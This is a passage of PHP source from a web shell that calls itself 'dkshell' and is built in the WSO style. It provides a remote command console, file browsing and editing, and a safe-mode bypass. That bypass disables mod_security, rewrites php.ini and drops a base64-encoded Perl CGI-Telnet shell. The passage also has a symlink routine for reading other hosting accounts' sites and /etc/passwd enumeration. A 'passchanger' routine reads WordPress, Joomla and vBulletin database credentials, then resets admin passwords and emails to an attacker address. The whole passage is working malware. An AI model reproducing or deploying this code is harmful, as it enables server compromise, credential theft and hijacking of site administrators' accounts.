- if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
- if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
- if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
- $stringTools = array(
- 'Base64 encode' => 'base64_encode',
- 'Base64 decode' => 'base64_decode',
- 'Url encode' => 'urlencode',
- 'Url decode' => 'urldecode',
- 'Full urlencode' => 'full_urlencode',
- 'md5 hash' => 'md5',
- 'sha1 hash' => 'sha1',
- 'crypt' => 'crypt',
- 'CRC32' => 'crc32',
- 'ASCII to HEX' => 'ascii2hex',
- 'HEX to ASCII' => 'hex2ascii',
- 'HEX to DEC' => 'hexdec',
- 'HEX to BIN' => 'hex2bin',
- 'DEC to HEX' => 'dechex',
- 'DEC to BIN' => 'decbin',
- 'BIN to HEX' => 'binhex',
- 'BIN to DEC' => 'bindec',
- 'String to lower case' => 'strtolower',
- 'String to upper case' => 'strtoupper',
- 'Htmlspecialchars' => 'htmlspecialchars',
- 'String length' => 'strlen',
- );
- if(isset($_POST['ajax'])) {
- $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
- ob_start();
- if(in_array($_POST['p1'], $stringTools))
- echo $_POST['p1']($_POST['p2']);
- $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
- echo strlen($temp), "\n", $temp;
- exit;
- }
- wsoHeader();
- echo '<h1>String conversions</h1><div class=content>';
- if(empty($_POST['ajax'])&&!empty($_POST['p1']))
- $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
- echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
- foreach($stringTools as $k => $v)
- echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
- echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
- if(!empty($_POST['p1'])) {
- if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
- }
- echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
- <form onsubmit="g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;"><table cellpadding='1' cellspacing='0' width='50%'>
- <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
- <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
- <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
- <tr><td></td><td><input type='submit' value='>>'></td></tr>
- </table></form>";
- function wsoRecursiveGlob($path) {
- if(substr($path, -1) != '/')
- $path.='/';
- $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
- if(is_array($paths)&&@count($paths)) {
- foreach($paths as $item) {
- if(@is_dir($item)){
- if($path!=$item)
- wsoRecursiveGlob($item);
- } else {
- if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
- echo "<a href='#' onclick='g("FilesTools",null,"".urlencode($item)."", "view")'>".htmlspecialchars($item)."</a><br>";
- }
- }
- }
- }
- if(@$_POST['p3'])
- wsoRecursiveGlob($_POST['c']);
- echo "</div><br><h1>Search for hash:</h1><div class=content>
- <form method='post' target='_blank' name='hf'>
- <input type='text' name='hash' style='width:200px;'><br>
- <input type='button' value='hashcrack.com' onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
- <input type='button' value='milw0rm.com' onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
- <input type='button' value='hashcracking.info' onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
- <input type='button' value='md5.rednoize.com' onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
- <input type='button' value='md5decrypter.com' onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
- </form></div>";
- wsoFooter();
- }
- function actionFilesTools() {
- if( isset($_POST['p1']) )
- $_POST['p1'] = urldecode($_POST['p1']);
- if(@$_POST['p2']=='download') {
- if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
- ob_start("ob_gzhandler", 4096);
- header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
- if (function_exists("mime_content_type")) {
- $type = @mime_content_type($_POST['p1']);
- header("Content-Type: ".$type);
- }
- $fp = @fopen($_POST['p1'], "r");
- if($fp) {
- while(!@feof($fp))
- echo @fread($fp, 1024);
- fclose($fp);
- }
- }exit;
- }
- if( @$_POST['p2'] == 'mkfile' ) {
- if(!file_exists($_POST['p1'])) {
- $fp = @fopen($_POST['p1'], 'w');
- if($fp) {
- $_POST['p2'] = "edit";
- fclose($fp);
- }
- }
- }
- wsoHeader();
- echo '<h1>File tools</h1><div class=content>';
- if( !file_exists(@$_POST['p1']) ) {
- echo 'File not exists';
- wsoFooter();
- return;
- }
- $uid = @posix_getpwuid(@fileowner($_POST['p1']));
- if(!$uid) {
- $uid['name'] = @fileowner($_POST['p1']);
- $gid['name'] = @filegroup($_POST['p1']);
- } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
- echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
- echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
- if( empty($_POST['p2']) )
- $_POST['p2'] = 'view';
- if( is_file($_POST['p1']) )
- $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
- else
- $m = array('Chmod', 'Rename', 'Touch');
- foreach($m as $v)
- echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
- echo '<br><br>';
- switch($_POST['p2']) {
- case 'view':
- echo '<pre class=ml1>';
- $fp = @fopen($_POST['p1'], 'r');
- if($fp) {
- while( !@feof($fp) )
- echo htmlspecialchars(@fread($fp, 1024));
- @fclose($fp);
- }
- echo '</pre>';
- break;
- case 'highlight':
- if( @is_readable($_POST['p1']) ) {
- echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
- $code = @highlight_file($_POST['p1'],true);
- echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
- }
- break;
- case 'chmod':
- if( !empty($_POST['p3']) ) {
- $perms = 0;
- for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
- $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
- if(!@chmod($_POST['p1'], $perms))
- echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
- }
- clearstatcache();
- echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
- break;
- case 'edit':
- if( !is_writable($_POST['p1'])) {
- echo 'File isn\'t writeable';
- break;
- }
- if( !empty($_POST['p3']) ) {
- $time = @filemtime($_POST['p1']);
- $_POST['p3'] = substr($_POST['p3'],1);
- $fp = @fopen($_POST['p1'],"w");
- if($fp) {
- @fwrite($fp,$_POST['p3']);
- @fclose($fp);
- echo 'Saved!<br><script>p3_="";</script>';
- @touch($_POST['p1'],$time,$time);
- }
- }
- echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
- $fp = @fopen($_POST['p1'], 'r');
- if($fp) {
- while( !@feof($fp) )
- echo htmlspecialchars(@fread($fp, 1024));
- @fclose($fp);
- }
- echo '</textarea><input type=submit value=">>"></form>';
- break;
- case 'hexdump':
- $c = @file_get_contents($_POST['p1']);
- $n = 0;
- $h = array('00000000<br>','','');
- $len = strlen($c);
- for ($i=0; $i<$len; ++$i) {
- $h[1] .= sprintf('%02X',ord($c[$i])).' ';
- switch ( ord($c[$i]) ) {
- case 0: $h[2] .= ' '; break;
- case 9: $h[2] .= ' '; break;
- case 10: $h[2] .= ' '; break;
- case 13: $h[2] .= ' '; break;
- default: $h[2] .= $c[$i]; break;
- }
- $n++;
- if ($n == 32) {
- $n = 0;
- if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
- $h[1] .= '<br>';
- $h[2] .= "\n";
- }
- }
- echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
- break;
- case 'rename':
- if( !empty($_POST['p3']) ) {
- if(!@rename($_POST['p1'], $_POST['p3']))
- echo 'Can\'t rename!<br>';
- else
- die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
- }
- echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
- break;
- case 'touch':
- if( !empty($_POST['p3']) ) {
- $time = strtotime($_POST['p3']);
- if($time) {
- if(!touch($_POST['p1'],$time,$time))
- echo 'Fail!';
- else
- echo 'Touched!';
- } else echo 'Bad time format!';
- }
- clearstatcache();
- echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
- break;
- }
- echo '</div>';
- wsoFooter();
- }
- function actionSafeMode() {
- unlink($GLOBALS['cwd'].".htaccess");
- unlink($GLOBALS['cwd']."php.ini");
- $fil=fopen($GLOBALS['cwd'].".htaccess","w");
- fwrite($fil,'<IfModule mod_security.c>
- Sec------Engine Off
- Sec------ScanPOST Off
- </IfModule>');
- fclose($fil);
- $fil=fopen($GLOBALS['cwd']."php.ini","w");
- fwrite($fil,'safe_mode=OFF
- disable_functions=NONE');
- fclose($fil);
- @mkdir('dkcgi',0755);
- $file = fopen($dir."dkcgi/.htaccess" ,"w+");
- $sa=base64_decode('T3B0aW9ucyBhbGwKRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwKQWRkVHlwZSB0ZXh0L3BsYWluIC5w
- aHAKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2EKQWRkSGFuZGxlciBzZXJ2ZXIt
- cGFyc2VkIC5waHAKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zYQpBZGRIYW5kbGVyIGNnaS1zY3Jp
- cHQgLnNh');
- $write = fwrite ($file ,$sa);
- $file = fopen($dir."dkcgi/cgi.pl" ,"w+");
- $sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIENvcHlyaWdodCBhbmQgTGljZW5jZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBDR0ktVGVsbmV0IFZlcnNpb24gMS4wIGZvciBOVCBhbmQgVW5peCA6IFJ1biBDb21tYW5kcyBvbiB5b3VyIFdlYiBTZXJ2ZXINCiMNCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmENCiMgUGVybWlzc2lvbiBpcyBncmFudGVkIHRvIHVzZSwgZGlzdHJpYnV0ZSBhbmQgbW9kaWZ5IHRoaXMgc2NyaXB0IHNvIGxvbmcNCiMgYXMgdGhpcyBjb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B8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wNCnwgXF9fL1x8IHxfXCBcIF98IHxfICAgICAgICAgICB8IHwgIHwgIF9fL3wgfHwgfCB8IHx8ICBfXy98IHxfDQogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9fX3x8X3x8X3wgfF98IFxfX198IFxfX3wgMS4wDQoNCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICAgICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPqkgMjAwMywgVW5pdC1YIFRlYW08L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4NCiAgICAgICAgICAgICAgICAgIC8gICBVTklULVggICBcDQogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwNCiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfA0KICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8DQogICAgICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwNCiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQ0KICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58KkVWSUwqfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fDQo8L2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n0NCmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQo=');
- $write = fwrite ($file ,$sa);
- chmod($dir."dkcgi/dz.sa" , 0755);
- chmod($dir."dkcgi/cgi.pl" , 0755);
-
-
-
- $temp='';
- ob_start();
- switch($_POST['p1']) {
- case 1:
- $temp=@tempnam($test, 'cx');
- if(@copy("compress.zlib://".$_POST['p2'], $temp)){
- echo @file_get_contents($temp);
- unlink($temp);
- } else
- echo 'Sorry... Can\'t open file';
- break;
- case 2:
- $files = glob($_POST['p2'].'*');
- if( is_array($files) )
- foreach ($files as $filename)
- echo $filename."\n";
- break;
- case 3:
- $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
- curl_exec($ch);
- break;
- case 4:
- ini_restore("safe_mode");
- ini_restore("open_basedir");
- include($_POST['p2']);
- break;
- case 5:
- for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
- $uid = @posix_getpwuid($_POST['p2']);
- if ($uid)
- echo join(':',$uid)."\n";
- }
- break;
- }
- $temp = ob_get_clean();
- wsoHeader();
-
- echo '<h1>Safe mode bypass</h1><div class=content>';
- echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
- if($temp)
- echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
- echo '</div>';
- echo "<center><a href=/dkcgi/cgi.pl>cgi script 1</a><br />";
- echo "<a href=/dkcgi/dz.sa>cgi script 2</a><br /></center>";
- wsoFooter();
- }
- function actionConsole() {
- if(isset($_POST['ajax'])) {
- $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
- ob_start();
- echo "document.cf.cmd.value='';\n";
- $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
- if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
- if(@chdir($match[1])) {
- $GLOBALS['cwd'] = @getcwd();
- echo "document.mf.c.value='".$GLOBALS['cwd']."';";
- }
- }
- echo "document.cf.output.value+='".$temp."';";
- echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
- $temp = ob_get_clean();
- echo strlen($temp), "\n", $temp;
- exit;
- }
- wsoHeader();
- echo "<script>
- if(window.Event) window.captureEvents(Event.KEYDOWN);
- var cmds = new Array('');
- var cur = 0;
- function kp(e) {
- var n = (window.Event) ? e.which : e.keyCode;
- if(n == 38) {
- cur--;
- if(cur>=0)
- document.cf.cmd.value = cmds[cur];
- else
- cur++;
- } else if(n == 40) {
- cur++;
- if(cur < cmds.length)
- document.cf.cmd.value = cmds[cur];
- else
- cur--;
- }
- }
- function add(cmd) {
- cmds.pop();
- cmds.push(cmd);
- cmds.push('');
- cur = cmds.length-1;
- }
- </script>";
- echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
- foreach($GLOBALS['aliases'] as $n => $v) {
- if($v == '') {
- echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
- continue;
- }
- echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
- }
- if(empty($_POST['ajax'])&&!empty($_POST['p1']))
- $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
- echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
- if(!empty($_POST['p1'])) {
- echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
- }
- echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
- echo '</form></div><script>document.cf.cmd.focus();</script>';
- wsoFooter();
- }
- function actionLogout() {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- die('bye!');
- }
- function actionSelfRemove() {
- if($_POST['p1'] == 'yes')
- if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
- die('Shell has been removed');
- else
- echo 'unlink error!';
- if($_POST['p1'] != 'yes')
- wsoHeader();
- echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
- wsoFooter();
- }
- function actionsymlink() {
- wsoHeader();
- $IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
-
- @mkdir('dk',0777);
- $IIIIIIIIIIl1 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
- $IIIIIIIIII1I =@fopen ('dk/.htaccess','w');
- @fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);
- @symlink('/','dk/root');
- $IIIIIIIIIlIl = basename('_FILE_');
-
- $file = @implode(@file("/etc/named.conf"));
- $rile = @implode(@file("dk/root/etc/named.conf"));
- if(!$file & !$rile){ echo("# can't ReaD -> [ /etc/named.conf ]<br></br>Try changing the shell chmod values to 0755..!!<br />Try copying the shell to the web directory..!!"); wsoFooter();}
- if(!$file & $rile){$file = $rile;}
- preg_match_all("#named/(.*?).db#",$file ,$r);
- $domains = array_unique($r[1]);
- echo "<table align=center border=1 width=59% cellpadding=5>
- <tr><td>Count:</td><td>Domain</td><td>User</td><td>Symlink</td><td>crawl</td></tr>";
- $redf=0;
- foreach($domains as $domain){
- $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
- $redf++;
- echo "<tr><td>$redf</td><td>$domain</td><td>".$user['name']."</td><td><a href='dk/root/home/".$user['name']."/public_html' target='_blank'>$domain </a></td>";
- //echo "<td><form onsubmit="g('crawl',null,null,this.k.value);return false;"><input type=submit name=k value='>></tr>";
- echo '<td><script>p1_=p2_=p3_="";</script><a href=# onclick="g(\'crawl\',null,null,null,\''.$domain.'\')">Crawl </a></td></tr>';
- }
- echo "</table>";
-
- wsoFooter();
- }
- function actionpasschanger() {
- if(isset($_POST['p3']))
- {
- $domainn = $_POST['p3'];
- $thelinks = explode("}", $domainn);
- $thelink = $thelinks[0];
- $isjoomla = $thelinks[1];
- $domain2 = $thelinks[2];
- wsoHeader();
- if ($isjoomla == "wp")
- {
- $db = "define('DB_NAME', ";
- $user = "define('DB_USER', ";
- $password = "define('DB_PASSWORD', ";
- $thecontent = file_get_contents($thelink);
- //
- $extracted = strpos($thecontent, $db);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $db = $extracted[3];
- //echo $db;
- $extracted = strpos($thecontent, $user);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $user = $extracted[3];
- //echo $user;
- $extracted = strpos($thecontent, $password);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $password = $extracted[3];
- //echo $password;
- mysql_connect("localhost", $user, $password) or die(mysql_error());
- echo "<br/><center>Connected to MySQL<br /><br />";
- mysql_select_db($db) or die(mysql_error());
- echo "Connected to Database<br/>";
- $result = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE user_login='admin'");
- $result1 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='1'");
- $result2 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='2'");
- $result3 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE ID='3'");
- $result4 = mysql_query("UPDATE wp_users SET user_email='interestingpal@gmail.com' WHERE user_login='admin'");
- $result5 = mysql_query("UPDATE wp_users SET WHERE user_login='Admin'");
- $result6 = mysql_query("UPDATE wp_users SET user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1' WHERE user_email='interestingpal@gmail.com'");
- $query25 = mysql_query("SELECT * FROM wp_users WHERE user_pass='\$P\$BmYX817viHAgyI7PxtgRZ7vOXmQU3M1'");
- $row25 = mysql_fetch_array( $query25 );
- echo "<br/><br/>The Password is <b>root</b> for the usernames given below ::<br/><br/>";
- echo "<b><a href=http://www.".$domain2.">".$row25['user_login']."</a></b> <br/>";
- }
- elseif ($isjoomla == "jm")
- {
- $db = 'var $db =';
- $user = 'var $user =';
- $password = 'var $password =';
- $thecontent = file_get_contents($thelink);
- //
- $extracted = strpos($thecontent, $db);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $db = $extracted[1];
- //echo $db;
- $extracted = strpos($thecontent, $user);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $user = $extracted[1];
- //echo $user;
- $extracted = strpos($thecontent, $password);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $password = $extracted[1];
- //echo $password;
- mysql_connect("localhost", $user, $password) or die(mysql_error());
- echo "<br/><center>Connected to MySQL<br /><br />";
- mysql_select_db($db) or die(mysql_error());
- echo "Connected to Database<br/>";
- // Insert a row of information into the table "example"
- //mysql_query("INSERT INTO jos_users(name, username) VALUES('dkshell', 'dkshell' ) ") or die(mysql_error());
- $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='24'");
- //$query24 = mysql_query("SELECT * FROM jos_users WHERE gid='24'");
- $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='25'");
- //$query25 = mysql_query("SELECT * FROM jos_users WHERE gid='25'");
-
- $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE gid='26'");
- //$query26 = mysql_query("SELECT * FROM jos_users WHERE gid='26'");
- $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE username='admin'");
- $result = mysql_query("UPDATE jos_users SET email='interestingpal@gmail.com' WHERE username='admin'");
- $result = mysql_query("UPDATE jos_users SET password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF' WHERE username='Admin'");
- //$result = mysql_query("UPDATE jos_users SET block='0' WHERE name='dkshell'") or die(mysql_error());
- //$result = mysql_query("UPDATE jos_users SET usertype='Super Administrator' WHERE name='dkshell'") or die(mysql_error());
- //$result = mysql_query("UPDATE jos_users SET sendEmail='1' WHERE name='dkshell'") or die(mysql_error());
- //$result = mysql_query("UPDATE jos_users SET gid='25' WHERE name='dkshell'") or die(mysql_error());
- //$result = mysql_query("UPDATE jos_users SET registerDate='2012-02-24 17:20:44' WHERE name='dkshell'") or die(mysql_error());
- //$result = mysql_query("UPDATE jos_users SET lastvisitDate='0000-00-00 00:00:00' WHERE name='dkshell'") or die(mysql_error());
- //$result = mysql_query("SELECT * FROM jos_users WHERE name='daryl'") or die(mysql_error());
- // get the first (and hopefully only) entry from the result
- $query25 = mysql_query("SELECT * FROM jos_users WHERE password='f0c337805362f5d3a6995004e3bbeb20:MnWvL1zEDGvLg8VlJ83Owjsl2SCtvSfF'");
- $row25 = mysql_fetch_array( $query25 );
- echo "<br/><br/>The Password is <b>root</b> for the usernames given below ::<br/><br/>";
- echo "<b><a href=http://www.".$domain2.">".$row25['username']."</b> <br/></center>";
- }
- elseif ($isjoomla == "vb")
- {
- $db = "config['Database']['dbname'] = '";
- $user = "config['MasterServer']['username'] = '";
- $password = "config['MasterServer']['password'] = '";
- $thecontent = file_get_contents($thelink);
- //
- $extracted = strpos($thecontent, $db);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $db = $extracted[5];
- //echo $db;
- $extracted = strpos($thecontent, $user);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $user = $extracted[5];
- //echo $user;
- $extracted = strpos($thecontent, $password);
- $extracted = substr($thecontent, $extracted, 50);
- $extracted = explode("'", $extracted);
- $password = $extracted[5];
- //echo $password;
- mysql_connect("localhost", $user, $password) or die(mysql_error());
- echo "<br/><center>Connected to MySQL<br /><br />";
- mysql_select_db($db) or die(mysql_error());
- echo "Connected to Database<br/>";
- $result = mysql_query("UPDATE user SET password='32c07513a635525a9eca5389e9bb3203' WHERE usertitle='Administrator'");
- $result = mysql_query("UPDATE user SET salt='<(@]M=wj4Ew/k`*f{o6sK!5:l5Z?xE' WHERE usertitle='Administrator'");
- $result = mysql_query("UPDATE user SET email='interestingpal@gmail.com' WHERE usertitle='Administrator'");
- $result = mysql_query("UPDATE user SET password='32c07513a635525a9eca5389e9bb3203' WHERE userid='1'");
- $result = mysql_query("UPDATE user SET salt='<(@]M=wj4Ew/k`*f{o6sK!5:l5Z?xE' WHERE userid='1'");
- $query25 = mysql_query("SELECT * FROM user WHERE password='32c07513a635525a9eca5389e9bb3203'");
- $row25 = mysql_fetch_array( $query25 );
